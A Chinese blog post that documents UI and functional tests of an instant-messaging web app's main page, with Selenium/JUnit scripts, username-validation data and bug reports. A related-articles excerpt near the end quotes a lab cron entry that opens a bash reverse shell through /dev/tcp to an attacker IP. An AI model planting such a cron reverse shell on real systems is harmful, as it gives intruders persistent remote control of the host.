即时通讯平台项目测试(主页面)

http://8.130.98.211:8080/login.html项目访问地址:即时通讯平台icon-default.png?t=N7T8http://8.130.98.211:8080/login.html

本篇文章进行项目主页面的测试。

在测试前需要先对待测内容进行分类,按照功能进行分类可以分为:个人信息设置、发送/接收消息、添加好友、创建群聊、好友搜索。

个人信息设置

UI测试

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:自动化测试

测试脚本:

public class MainPage {private static WebDriver webDriver;@BeforeAllpublic static void init() {System.setProperty("webdriver.edge.driver","C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedgedriver.exe");webDriver = new EdgeDriver();webDriver.manage().window().maximize();}@AfterAllpublic static void delete() {webDriver.close();}//进入主界面@BeforeEachpublic void intoPage() {webDriver.get("http://8.130.98.211:8080/login.html");webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#userName")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#password")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#submit")).click();}@Testpublic void test() throws InterruptedException, IOException {webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.user")).click();//等待页面跳转sleep(500);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);//截图File file = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(file, new File("D://个人主页.png"));}
}

预期结果:

实际结果:

 实际结果与预期结果不符图片未展示成功。

BUG描述

BUG出现的环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

BUG出现的操作步骤:

  1. 打开Edge浏览器输入网址http://8.130.98.211:8080/login.html
  2. 在登陆页面输入账号:zhangsan,密码:zhangsan进行登录
  3. 点击用户头像进入用户信息设置页面

预期结果:头像模块会展示用户头像图片

实际结果:头像图片展示异常

功能测试

用户名修改

根据测试需求文档(用户名要求长度为2~16位,只能由英文字母或数字组成)先编写测试点:

当欲修改的用户名不存在:

如果欲修改的用户名存在则修改失败。

有了这些测试点之后在进行测试用例的编写: 

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:自动化测试

测试脚本:

public class MainPage {private static WebDriver webDriver;@BeforeAllpublic static void init() {System.setProperty("webdriver.edge.driver","C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedgedriver.exe");webDriver = new EdgeDriver();webDriver.manage().window().maximize();}@AfterAllpublic static void delete() {webDriver.close();}//进入主界面@BeforeEachpublic void intoPage() {webDriver.get("http://8.130.98.211:8080/login.html");webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#userName")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#password")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#submit")).click();}@Test//测试前已存在用户lisi//预期结果:第一个是false紧接着十二个是true,后面除最后一个是true其余都是false;public void setUserNameTest() throws InterruptedException {String[] values = {"lisi","aaa","123","12asd","as","12","a2","qwertyuiopasdfgh","1234567890123456","123456789012345w","zhangsande","1234567890","qwe1234567","a","1","qweqwwwwwwwqqqqwee","12132234534363623464","qweqwe7dhf7y76647yruh","@uhas()","asds asds","13213  32","@12312334","asd12 ","asd12@","","@(){}","     ","a@","w ","2 ","2@","@#","  ","qwertyuiopasdfg@","qwertyuiopasdfg@","qwertyuiopasdfg ","123456789012345 ", "123456789012345@","12345678901234 w","12 456789012345w","12345678901234$w","*&^%$#@!@#$%^&*&","                ","12345678901234562","oqwertyuiopasdfgh","oqwertyuiopasdfg4","qwe@werewq","qwertyuiop ","123456789 ","123456789@","12345678d ","q12345678@","!@#$%^&*()","          ","zhangsan"};boolean[] result = new boolean[values.length];for (int i = 0; i < values.length; i++) {//进入用户信息修改页面webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.user")).click();//等待页面跳转sleep(500);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);//修改用户名webDriver.findElement(By.cssSelector("#userName")).clear();webDriver.findElement(By.cssSelector("#userName")).sendKeys(values[i]);webDriver.findElement(By.cssSelector("#upload")).click();sleep(1000);//获取弹窗信息Alert alert = webDriver.switchTo().alert();String text = alert.getText();alert.accept();//等待页面跳转sleep(500);result[i] = "信息修改成功".equals(text);}System.out.println(Arrays.toString(result));}
}

测试数据:

"lisi","aaa","123","12asd","as","12","a2","qwertyuiopasdfgh","1234567890123456","123456789012345w",
"zhangsande","1234567890","qwe1234567",
"a","1","qweqwwwwwwwqqqqwee","12132234534363623464",
"qweqwe7dhf7y76647yruh","@uhas()","asds asds","13213  32",
"@12312334","asd12 ","asd12@","","@(){}","     ","a@",
"w ","2 ","2@","@#","  ","qwertyuiopasdfg@","qwertyuiopasdfg@","qwertyuiopasdfg ",
"123456789012345 ", "123456789012345@","12345678901234 w",
"12 456789012345w","12345678901234$w","*&^%$#@!@#$%^&*&",
"                ","12345678901234562","oqwertyuiopasdfgh","oqwertyuiopasdfg4",
"qwe@werewq","qwertyuiop ","123456789 ","123456789@","12345678d ","q12345678@",
"!@#$%^&*()","          ","zhangsan"

预期结果:第一个是false紧接着十二个是true,后面都是false;

实际结果:与预期结果相同

修改密码

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:自动化测试

测试脚本:

public class MainPage {private static WebDriver webDriver;@BeforeAllpublic static void init() {System.setProperty("webdriver.edge.driver","C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedgedriver.exe");webDriver = new EdgeDriver();webDriver.manage().window().maximize();}@AfterAllpublic static void delete() {webDriver.close();}//进入主界面@BeforeEachpublic void intoPage() {webDriver.get("http://8.130.98.211:8080/login.html");webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#userName")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#password")).sendKeys("123456");webDriver.findElement(By.cssSelector("#submit")).click();}@ParameterizedTest@CsvSource({"zhangsan, zhangsan"})//测试修改用户密码//预期结果:truepublic void setPasswordTest(String userName, String password) throws InterruptedException {//进入用户信息修改页面webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.user")).click();//等待页面跳转sleep(500);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);//设置密码webDriver.findElement(By.cssSelector("#password")).sendKeys(password);webDriver.findElement(By.cssSelector("#upload")).click();sleep(300);//关闭弹窗提示webDriver.switchTo().alert().accept();//重新登录webDriver.get("http://8.130.98.211:8080/login.html");webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#userName")).sendKeys(userName);webDriver.findElement(By.cssSelector("#password")).sendKeys(password);webDriver.findElement(By.cssSelector("#submit")).click();sleep(500);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);//获取页面urlSystem.out.println("http://8.130.98.211:8080/client.html".equals(webDriver.getCurrentUrl()));}
}

预期结果:打印 true

实际结果:与预期结果一致

修改图片

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:自动化测试

测试脚本:

public class MainPage {private static WebDriver webDriver;@BeforeAllpublic static void init() {System.setProperty("webdriver.edge.driver","C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedgedriver.exe");webDriver = new EdgeDriver();webDriver.manage().window().maximize();}@AfterAllpublic static void delete() {webDriver.close();}//进入主界面@BeforeEachpublic void intoPage() throws InterruptedException {webDriver.get("http://8.130.98.211:8080/login.html");webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#userName")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#password")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#submit")).click();//等待页面跳转sleep(200);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);}//测试修改用户头像//预期结果:用户头像变为修改后的图片@ParameterizedTest@ValueSource(strings = {"C:\\Users\\13900\\Pictures\\头像.png"})public void setUserPhotoTest(String photoPath) throws IOException, InterruptedException {//截图保存当前的头像File old = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(old, new File("D:\\修改前.png"));//进行修改操作webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.user")).click();//等待页面跳转sleep(500);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);//上传文件webDriver.findElement(By.cssSelector("#fileUpdate")).sendKeys(photoPath);webDriver.findElement(By.cssSelector("#upload")).click();sleep(1000);webDriver.switchTo().alert().accept();sleep(500);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);//截图保存修改后的头像File newFile = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(newFile, new File("D:\\修改后.png"));}
}

测试数据:

预期结果:用户头像变为修改后的图片

实际结果:与预期结果一致


发送/接收消息

UI测试

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:人工测试

测试步骤:

  1. 打开Edge浏览器输入网址http://8.130.98.211:8080/login.html
  2. 在登陆页面输入账号:zhangsan,密码:zhangsan进行登录
  3. 点击左下方 lisi 的信息提示框。

预期结果:

实际结果:与预期结果相符 

功能测试

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:自动化测试

测试脚本:

public class MainPage {private static WebDriver webDriver;@BeforeAllpublic static void init() {System.setProperty("webdriver.edge.driver","C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedgedriver.exe");webDriver = new EdgeDriver();webDriver.manage().window().maximize();}@AfterAllpublic static void delete() {webDriver.close();}//进入主界面@BeforeEachpublic void intoPage() throws InterruptedException {webDriver.get("http://8.130.98.211:8080/login.html");webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#userName")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#password")).sendKeys("zhangsan");webDriver.findElement(By.cssSelector("#submit")).click();//等待页面跳转sleep(200);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);}//测试收发消息@ParameterizedTest@CsvSource({"在干嘛?"})public void setMessageTest(String message) throws InterruptedException, IOException {webDriver.findElement(By.cssSelector("#session-list > li:nth-child(2)")).click();sleep(1000);webDriver.findElement(By.cssSelector("body > div.client-container > div > div.right > textarea")).sendKeys(message);webDriver.findElement(By.cssSelector("body > div.client-container > div > div.right > div.ctrl > button")).click();//截图保存结果File screenshotAs = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(screenshotAs, new File("D:\\发送方.png"));//登录李四的账号查看消息是否收到webDriver.get("http://8.130.98.211:8080/login.html");webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#userName")).sendKeys("lisi");webDriver.findElement(By.cssSelector("#password")).sendKeys("lisi");webDriver.findElement(By.cssSelector("#submit")).click();//等待页面跳转sleep(1000);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#session-list > li:nth-child(1)")).click();sleep(1000);//截图保存结果File screenshotAs1 = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(screenshotAs1, new File("D:\\接收方.png"));}
}

测试数据:zhangsan给lisi发信息:在干嘛?

预期结果:zhangsan消息成功发出,lisi顺利收到消息,且双发的消息提示框中都显示该条消息。

实际测试:与预期结果相符。


用户搜索

UI测试

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:人工测试

测试步骤:

  1. 打开Edge浏览器输入网址http://8.130.98.211:8080/login.html
  2. 在登陆页面输入账号:zhangsan,密码:zhangsan进行登录
  3. 在搜索框中输入‘l’点击搜索

预期结果:

实际结果:与预期结果不符,右侧添加好友按钮过小

BUG描述 

BUG出现的环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

BUG出现的操作步骤:

  1. 打开Edge浏览器输入网址http://8.130.98.211:8080/login.html
  2. 在登陆页面输入账号:zhangsan,密码:zhangsan进行登录
  3. 在搜索框中输入‘l’点击搜索

预期结果:界面右侧会展示搜索到的用户,如果不是好友关系会显示添加好友按钮

实际结果:添加好友按钮较小,不美观

功能测试

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:自动化测试

测试脚本:

public class MainPage {private static WebDriver webDriver;@BeforeAllpublic static void init() {……}@AfterAllpublic static void delete() {webDriver.close();}//进入主界面@BeforeEachpublic void intoPage() throws InterruptedException {……}//测试用户搜索@ParameterizedTest@CsvSource({"lyq"})public void sourceTest(String name) throws InterruptedException, IOException {webDriver.findElement(By.cssSelector("#search-input")).sendKeys(name);webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.search > button")).click();sleep(1500);//截图File screenshotAs = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(screenshotAs, new File("D:\\搜索.png"));}
}

测试数据:lyq

预期结果:界面右侧会展示搜索到的用户,如果不是好友关系会显示添加好友按钮

实际结果:与预期结果一致


添加好友

功能测试

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:自动化测试

测试脚本:


@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class MainPage {private static WebDriver webDriver;@BeforeAllpublic static void init() {……}@AfterAllpublic static void delete() {……}//进入主界面@BeforeEachpublic void intoPage() throws InterruptedException {……}//测试添加好友@Order(1)@ParameterizedTest@CsvSource({"lyq, 你好!", "zzz, 你好!"})public void addFriendTest1(String name, String message) throws InterruptedException {webDriver.findElement(By.cssSelector("#search-input")).clear();webDriver.findElement(By.cssSelector("#search-input")).sendKeys(name);webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.search > button")).click();sleep(1500);webDriver.findElement(By.cssSelector("#add-user")).sendKeys(message);webDriver.findElement(By.cssSelector("body > div.client-container > div > div.right > div.message-show > div > button")).click();sleep(500);webDriver.switchTo().alert().accept();}@Order(2)@ParameterizedTest@CsvSource({"lyq, lyq, true", "zzz, zzz, false"})public void addFriendTest2(String name, String password, boolean is) throws InterruptedException, IOException {webDriver.get("http://8.130.98.211:8080/login.html");webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);webDriver.findElement(By.cssSelector("#userName")).sendKeys(name);webDriver.findElement(By.cssSelector("#password")).sendKeys(password);webDriver.findElement(By.cssSelector("#submit")).click();//等待页面跳转sleep(200);webDriver.manage().timeouts().implicitlyWait(3, TimeUnit.SECONDS);if (is) {webDriver.findElement(By.cssSelector("body > div.client-container > div > div.right > div.message-show > div > button.true")).click();sleep(500);webDriver.switchTo().alert().accept();sleep(500);webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.tab > div.tab-friend")).click();File screenshotAs = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(screenshotAs, new File("D:\\"+name+".png"));} else {webDriver.findElement(By.cssSelector("body > div.client-container > div > div.right > div.message-show > div > button.false")).click();sleep(500);webDriver.switchTo().alert().accept();sleep(500);webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.tab > div.tab-friend")).click();File screenshotAs = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(screenshotAs, new File("D:\\"+name+".png"));}}
}

测试数据:用户zhangsan发起两个好友请求(lyq、你好!、true;zzz、你好、false)

预期结果:用户lyq成功收到请求并同意好友请求;用户zzz成功收到请求并拒绝好友请求

实际结果:与预期结果一致


创建群聊

UI测试

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:人工测试

测试步骤:

  1. 打开Edge浏览器输入网址http://8.130.98.211:8080/login.html
  2. 在登陆页面输入账号:zhangsan,密码:zhangsan进行登录
  3. 在搜索框下方点击右侧好友图标
  4. 点击下方建群按钮

预期结果:当点击左侧建群按钮右侧会显示好友

实际结果:与预期结果相同

功能测试

测试环境:Win11;IntelliJ IDEA 2023.2;Microsoft Edge版本 125.0.2535.51 (正式版本) (64 位)

测试方法:自动化测试

测试脚本:

@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class MainPage {private static WebDriver webDriver;@BeforeAllpublic static void init() {……}@AfterAllpublic static void delete() {……}//进入主界面@BeforeEachpublic void intoPage() throws InterruptedException {……}//测试建群@Order(1)@Testpublic void addGroupTest1() throws InterruptedException, IOException {webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.tab > div.tab-friend")).click();sleep(200);webDriver.findElement(By.cssSelector("#friend-list > button")).click();sleep(500);webDriver.findElement(By.cssSelector("#\\31 ")).click();webDriver.findElement(By.cssSelector("#\\33 ")).click();webDriver.findElement(By.cssSelector("#\\34 ")).click();webDriver.findElement(By.cssSelector("body > div.client-container > div > div.right > div.message-show > button")).click();sleep(500);File screenshotAs = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(screenshotAs, new File("D:\\三人群.png"));}@Order(2)@Testpublic void addGroupTest2() throws InterruptedException, IOException {webDriver.findElement(By.cssSelector("body > div.client-container > div > div.left > div.tab > div.tab-friend")).click();sleep(200);webDriver.findElement(By.cssSelector("#friend-list > button")).click();sleep(500);webDriver.findElement(By.cssSelector("body > div.client-container > div > div.right > div.message-show > button")).click();sleep(500);File screenshotAs = ((TakesScreenshot) webDriver).getScreenshotAs(OutputType.FILE);FileUtils.copyFile(screenshotAs, new File("D:\\无人.png"));}
}

预期结果:如果不选择好友建群操作将会失败;否则建群成功并显示在消息提示区

实际结果:与预期结果相同,当没有选择好友时点击创建群聊系统没有反应

选择三个好友:

没有选择好友: 

 


本篇文章中自动化脚本所配置的依赖如下:

<dependencies><dependency><groupId>org.seleniumhq.selenium</groupId><artifactId>selenium-java</artifactId><version>3.141.59</version></dependency><!--截图--><dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.11.0</version></dependency><!-- https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter-api --><dependency><groupId>org.junit.jupiter</groupId><artifactId>junit-jupiter-api</artifactId><version>5.9.1</version></dependency><!-- https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter-params --><dependency><groupId>org.junit.jupiter</groupId><artifactId>junit-jupiter-params</artifactId><version>5.9.1</version></dependency><!-- https://mvnrepository.com/artifact/org.junit.platform/junit-platform-suite --><dependency><groupId>org.junit.platform</groupId><artifactId>junit-platform-suite</artifactId><version>1.9.1</version></dependency><!-- https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter-engine --><dependency><groupId>org.junit.jupiter</groupId><artifactId>junit-jupiter-engine</artifactId><version>5.9.1</version><scope>test</scope></dependency>
</dependencies>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1477270.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【LLM大模型】机器学习导论(西瓜书)[推荐阅读]

哈喽啊大家&#xff0c;今天又来给大家推荐一本机器学习方面的书籍<机器学习西瓜书>。本书作为该领域的入门教材&#xff0c;在内容上尽可能涵盖机器学习基础知识的各方面。 为了使尽可能多的读者通过本书对机器学习有所了解&#xff0c;作者试图尽可能少地使用数学知识…

聚鼎科技:装饰画未来前景好不好

在这个快速变化的时代&#xff0c;装饰画作为家居装饰和艺术表达的一种形式&#xff0c;其未来前景备受各界关注。随着人们审美的多元化和居住环境的个性化需求增长&#xff0c;装饰画逐渐从传统领域延伸到更加广阔的生活空间。 装饰画的市场潜力不容小觑。现代社会对美的追求日…

AutoMQ 与蚂蚁数科达成战略合作

近期&#xff0c;AutoMQ 与蚂蚁数科正式签署战略合作协议&#xff0c;将和蚂蚁数科云原生 PaaS 平台 SOFAStack 在产品研发、生态集成、市场合作、技术社区影响力等多方面开展深度合作。 AutoMQ 是业内领先的消息和流存储服务提供商&#xff0c;基于云原生基础设施重新设计了 …

【卡尔曼滤波器】DR_CAN 2 学习笔记:_数据融合_协方差矩阵_状态空间方程_观测器问题

【卡尔曼滤波器】2_数学基础_数据融合_协方差矩阵_状态空间方程_观测器问题 非常重要1 数据融合 data fusion 有俩秤,各自有自己的正态分布:俩秤是相互独立的:俩秤都不准,但标准差都符合正态分布 正态分布又叫做高斯分布 向左、向右 都是2, 标准差是2覆盖了68.4 %的可能:…

浅谈开源项目对于我编程之路的影响

开源项目有哪些机遇与挑战&#xff1f; 随着全球经济和科技环境的快速变化&#xff0c;开源软件项目的蓬勃发展成为了开发者社区的热门话题。越来越多的开发者和企业选择参与开源项目&#xff0c;以推动技术创新和实现协作共赢。你如何看待当前开源项目的发展趋势&#xff1f;…

中国星坤X1224系列线对板连接器:小巧稳定,助力物联网终端高效运行

在物联网、电器和消防等领域&#xff0c;终端设备的安全稳定运行至关重要。为了满足这些领域对连接器高可靠性、小巧轻便和耐高温的需求&#xff0c;X1224系列线对板连接器应运而生。这款连接器以其独特的设计和卓越的性能&#xff0c;成为了终端设备中不可或缺的一部分。 一、…

Python基础知识——(003)

文章目录 P12——11. 保留字和标识符 1. 保留字 2. Python标识符的命名规则&#xff08;必须遵守&#xff09; 3. Python标识符的命名规范&#xff08;建议遵守&#xff09; P13——12. 变量与常量 变量的语法结构 变量命名应遵循以下几条规则 常量 P14——13. 数值类型…

怎样将aac转换mp3格式?推荐四个aac转MP3的方法

怎样将aac转换mp3格式&#xff1f;当需要将aac格式音频转换为MP3格式时&#xff0c;有几种方法可以轻松实现这一目标。MP3是一种广泛支持的音频格式&#xff0c;几乎所有设备和平台都能播放MP3文件&#xff0c;包括各种音乐播放器、手机、平板电脑和汽车音响系统。而且它也提供…

HTML5使用<details>标签:展开/收缩信息

details 标签提供了一种替代 JavaScript 的方法&#xff0c;它主要是提供了一个展开/收缩区域。details 标签中可以使用 summary 标签从属于 details 标签&#xff0c;单击 summary 标签中的内容文字时&#xff0c;details 标签中的其他所有从属元素将会展开或收缩。语法如下&a…

mysql 字符集(character set)和排序规则(collation)

文章目录 概念1、字符集1.1、举例1.2、常见字符集 utf8 和 utf8mb4 区别1.3、字符集 使用 2、排序规则2.1、举例2.2、常见的排序规则 utf8mb4_bin 、utf8mb4_general_ci、utf8mb4_unicode_ci2.3、使用 概念 在 MySQL 中&#xff0c;字符集&#xff08;character set&#xff0…

ubuntu计划任务反弹

实验环境 攻击者 操作系统&#xff1a;kali IP&#xff1a;192.168.244.141 目标主机 操作系统&#xff1a;ubuntu IP&#xff1a;192.168.244.151 实验步骤 目标主机构造任务计划 构造语句 * * * * * /bin/bash -c bash -i >& /dev/tcp/{ip}/{port} 0>&…

【Linux】命令执行的判断依据:;,,||

在某些情况下&#xff0c;很多命令我想要一次输入去执行&#xff0c;而不想要分次执行时&#xff0c;该如何是好&#xff1f; 基本上有两个选择&#xff0c; 一个是通过shell脚本脚本去执行&#xff0c;一种则是通过下面的介绍来一次入多个命令。 1.cmd&#xff1a;cmd&#…

如何将heic格式转换jpg?四种将heic转换成jpg的方法!

如何将heic格式转换jpg&#xff1f;在现今的数字图像处理领域&#xff0c;Heic格式作为一种被吹捧的创新型图像格式&#xff0c;以其先进的压缩技术&#xff0c;迅速减小了图片文件的大小&#xff0c;然而&#xff0c;尽管其有许多优点&#xff0c;实际使用中Heic格式却带来了一…

【7月长沙】2024年土木、水利与智能建造国际会议(CHEIC 2024)

在21世纪的今天&#xff0c;随着科技的迅猛发展&#xff0c;土木工程、水利工程与智能建造领域正迎来前所未有的变革。为了汇集全球范围内的智慧&#xff0c;推动这一领域的进步与发展&#xff0c;土木、水利工程与智能建造国际会议&#xff08;CHEIC 2024&#xff09;应运而生…

PP网/尼龙网检测方案居然如此高效?

硅胶套是一种由硅胶材料制成的套管&#xff0c;通常用于保护、密封或绝缘电子元件、电线、电缆等。硅胶具有优异的耐高温、耐低温、耐化学腐蚀和绝缘性能&#xff0c;因此硅胶套常被用于需要抗高温、耐磨、耐腐蚀的环境中。硅胶套的柔软性和良好的弹性使其适合于包裹各种形状的…

知识图谱入门笔记

自学参考&#xff1a; 视频&#xff1a;斯坦福CS520 | 知识图谱 最全知识图谱综述 详解知识图谱的构建全流程 知识图谱构建&#xff08;概念&#xff0c;工具&#xff0c;实例调研&#xff09; 一、基本概念 知识图谱&#xff08;Knowledge graph&#xff09;&#xff1a;由结…

【珠宝古玩字画店】游戏 链游 软件

#软件开发#链游#古玩字画 本文为大家带来的是关于买卖古董的游戏有哪些相关游戏介绍&#xff0c;对于古董&#xff0c;相信大家都不陌生&#xff0c;在游戏里玩家可以去进行古董的买卖这类游戏相信大家都不了解&#xff0c;那么接下来小编就带大家聊聊有哪些好玩的古董买卖手游…

PHP 安装Memcached 扩展 PHP使用Memcache

memcache扩展下载 访问官网&#xff1a;https://pecl.php.net/package/memcache&#xff0c;下载合适的memcache版本的安装包&#xff0c;注意要与php版本相匹配。 1、查看运行环境php版本,可以运行以下代码 <?php phpinfo(); ?>2、查看版本信息以及是否支持多线程…

【YOLOv5/v7改进系列】改进池化层为RFB

一、导言 论文 "Receptive Field Block Net for Accurate and Fast Object Detection" 中提出的 RFB (Receptive Field Block) 模块旨在模仿人类视觉系统中的感受野结构&#xff0c;以增强深度学习模型对不同尺度和位置的目标检测能力。下面总结了RFB模块的主要优点…

谷歌个人开发者账号14天封测审核通过技巧,你还不知道吗?

众所周知&#xff0c;目前在Google play应用商店上架应用已经不是那么容易了&#xff0c;谷歌各种政策的更新以及审核系统的升级&#xff0c;给开发者们带来了不少挑战。 尤其针对个人开发者账号需要20人连续14天的封测的要求&#xff0c;周期长&#xff0c;且随着政策执行力度…
最新文章